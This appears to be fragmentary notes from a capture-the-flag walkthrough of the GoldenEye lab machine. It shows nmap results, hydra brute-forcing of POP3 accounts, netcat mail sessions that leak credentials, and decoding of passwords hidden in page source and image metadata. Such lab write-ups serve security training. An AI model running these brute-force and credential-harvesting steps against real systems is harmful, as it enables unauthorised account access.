POP3-HYDRA

MOODLE RCE

PORT STATE SERVICE VERSION

25/tcp open smtp Postfix smtpd

|_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,

|_ssl-date: TLS randomness does not represent time

80/tcp open http Apache httpd 2.4.7 ((Ubuntu))

|_http-server-header: Apache/2.4.7 (Ubuntu)

|_http-title: GoldenEye Primary Admin Server

MAC Address: 00:0C:29:E7:FB:A3 (VMware)

Device type: general purpose

Running: Linux 3.X|4.X

OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4

OS details: Linux 3.2 - 4.9

Network Distance: 1 hop

<html>

<head>

<title>GoldenEye Primary Admin Server</title>

<link rel="stylesheet" href="index.css">

</head>

<script src="terminal.js"></script>

</html>

```
var data = [

 {

   GoldenEyeText: "<span><br/>Severnaya Auxiliary Control Station<br/>****TOP SECRET ACCESS****<br/>Accessing Server Identity<br/>Server Name:.....<br/>GOLDENEYE<br/><br/>User: UNKNOWN<br/><span>Naviagate to /sev-home/ to login</span>"

 }

];


//

//Boris, make sure you update your default password.

//My sources say MI6 maybe planning to infiltrate.

//Be on the lookout for any suspicious network traffic....

//

//I encoded you p@ssword below...

//

//&#73;&#110;&#118;&#105;&#110;&#99;&#105;&#98;&#108;&#101;&#72;&#97;&#99;&#107;&#51;&#114;

//

//BTW Natalya says she can break your codes

//


var allElements = document.getElementsByClassName("typeing");

for (var j = 0; j < allElements.length; j++) {

 var currentElementId = allElements[j].id;

 var currentElementIdContent = data[0][currentElementId];

 var element = document.getElementById(currentElementId);

 var devTypeText = currentElementIdContent;



 var i = 0, isTag, text;

 (function type() {
```

```
  text = devTypeText.slice(0, ++i);

  if (text === devTypeText) return;

  element.innerHTML = text + `<span class='blinker'>&#32;</span>`;

  var char = text.slice(-1);

  if (char === "<") isTag = true;

  if (char === ">") isTag = false;

  if (isTag) return type();

  setTimeout(type, 60);

 })();

}
```

1. Boris
2. Natalya

https://www.url-encode-decode.com/

InvincibleHack3r

InvincibleHack3r

http://192.168.2.143/sev-home/

Remember, since security by obscurity is very effective, we have configured our pop3 service to run on a very high non-default port

root@kali:/home/kali/Desktop/vulnhub/goldeneye# hydra -l boris -P /usr/share/wordlists/fasttrack.txt -s 55006 -o hydra.txt -e nsr -t 64 pop3s://192.168.2.143

[55006][pop3] host: 192.168.2.143   login: boris   password: secret1!

root@kali:/home/kali/Desktop/vulnhub/goldeneye# hydra -l natalya -P /usr/share/wordlists/fasttrack.txt -s 55006 -o hydra.txt -e nsr -t 64 pop3s://192.168.2.143

[55006][pop3] host: 192.168.2.143   login: natalya   password: bird

^Croot@kali:/home/kali/Desktop/vulnhub/goldeneye# nc 192.168.2.143 55007

+OK GoldenEye POP3 Electronic-Mail System

USER boris

+OK

PASS secret1!

+OK Logged in.

LIST

+OK 3 messages:

1 544

2 373

3 921

root@kali:/home/kali/Desktop/vulnhub/goldeneye# nc 192.168.2.143 55007

+OK GoldenEye POP3 Electronic-Mail System

USER natalya

+OK

PASS bird

+OK Logged in.

list

+OK 2 messages:

1 631

2 1048

.

RETR 1

+OK 631 octets

Return-Path: <root@ubuntu>

X-Original-To: natalya

Delivered-To: natalya@ubuntu

Received: from ok (localhost [127.0.0.1])

by ubuntu (Postfix) with ESMTP id D5EDA454B1

for <natalya>; Tue, 10 Apr 1995 19:45:33 -0700 (PDT)

Message-Id: <20180425024542.D5EDA454B1@ubuntu>

Date: Tue, 10 Apr 1995 19:45:33 -0700 (PDT)

From: root@ubuntu

Natalya, please you need to stop breaking boris' codes. Also, you are GNO supervisor for training. I will email you once a student is designated to you.

Also, be cautious of possible network breaches. We have intel that GoldenEye is being sought after by a crime syndicate named Janus.

RETR 2

+OK 1048 octets

Return-Path: <root@ubuntu>

X-Original-To: natalya

Delivered-To: natalya@ubuntu

Received: from root (localhost [127.0.0.1])

by ubuntu (Postfix) with SMTP id 17C96454B1

for <natalya>; Tue, 29 Apr 1995 20:19:42 -0700 (PDT)

Message-Id: <20180425031956.17C96454B1@ubuntu>

Date: Tue, 29 Apr 1995 20:19:42 -0700 (PDT)

From: root@ubuntu

Ok Natalyn I have a new student for you. As this is a new system please let me or boris know if you see any config issues, especially is it's related to security...even if it's not, just enter it in under the guise of "security"...it'll get the change order escalated without much hassle :)

Ok, user creds are:

username: xenia

password: RCP90rulez!

Boris verified her as a valid contractor so just create the account ok?

And if you didn't have the URL on outr internal Domain: severnaya-station.com/gnocertdir

**Make sure to edit your host file since you usually work remote off-network....

Since you're a Linux user just point this servers IP to severnaya-station.com in /etc/hosts.

http://severnaya-station.com/gnocertdir/

http://severnaya-station.com/gnocertdir/login/index.php

Greetings Xenia,

As a new Contractor to our GoldenEye training I welcome you. Once your account has been complete, more courses will appear on your dashboard. If you have any questions message me via email, not here.

My email username is...

doak

Thank you,

Cheers,

Dr. Doak "The Doctor"

Training Scientist - Sr Level Training Operating Supervisor

GoldenEye Operations Center Sector

Level 14 - NO2 - id:998623-1334

Campus 4, Building 57, Floor -8, Sector 6, cube 1,007

Phone 555-193-826

Cell 555-836-0944

Office 555-846-9811

Personal 555-826-9923

Email: doak@

Please Recycle before you print, Stay Green aka save the company money!

"There's such a thing as Good Grief. Just ask Charlie Brown" - someguy

"You miss 100% of the shots you don't shoot at" - Wayne G.

THIS IS A SECURE MESSAGE DO NOT SEND IT UNLESS.

root@kali:/home/kali/Desktop/vulnhub/goldeneye# hydra -l doak -P /usr/share/wordlists/fasttrack.txt -s 55006 -o hydra.txt -e nsr -t 64 pop3s://192.168.2.143

[55006][pop3] host: 192.168.2.143 login: doak password: goat

root@kali:/home/kali/Desktop/vulnhub/goldeneye# nc 192.168.2.143 55007

+OK GoldenEye POP3 Electronic-Mail System

user doak

+OK

pass goat

+OK Logged in.

list

+OK 1 messages:

1 606

.

retr 1

+OK 606 octets

Return-Path: <doak@ubuntu>

X-Original-To: doak

Delivered-To: doak@ubuntu

Received: from doak (localhost [127.0.0.1])

by ubuntu (Postfix) with SMTP id 97DC24549D

for <doak>; Tue, 30 Apr 1995 20:47:24 -0700 (PDT)

Message-Id: <20180425034731.97DC24549D@ubuntu>

Date: Tue, 30 Apr 1995 20:47:24 -0700 (PDT)

From: doak@ubuntu

James,

If you're reading this, congrats you've gotten this far. You know how tradecraft works right?

Because I don't. Go to our training site and login to my account....dig until you can exfiltrate further information.....

username: dr_doak

password: 4England!

http://severnaya-station.com/gnocertdir/

root@kali:/home/kali/Desktop/vulnhub/goldeneye# cat s3cret.txt

007,

I was able to capture this apps adm1n cr3ds through clear txt.

Text throughout most web apps within the GoldenEye servers are scanned, so I cannot add the cr3dentials here.

Something juicy is located here: /dir007key/for-007.jpg

root@kali:/home/kali/Desktop/vulnhub/goldeneye# wget severnaya-station.com/dir007key/for-007.jpg

root@kali:/home/kali/Desktop/vulnhub/goldeneye# exiftool for-007.jpg

Image Description : eFdpbnRlcjE5OTV4IQ==

xWinter1995x!root@kali:/home/kali/Desktop/vulnhub/goldeneye# echo -n "eFdpbnRlcjE5OTV4IQ==" | base64 -d && echo

admin -xWinter1995x!

2.2.3:MOODLE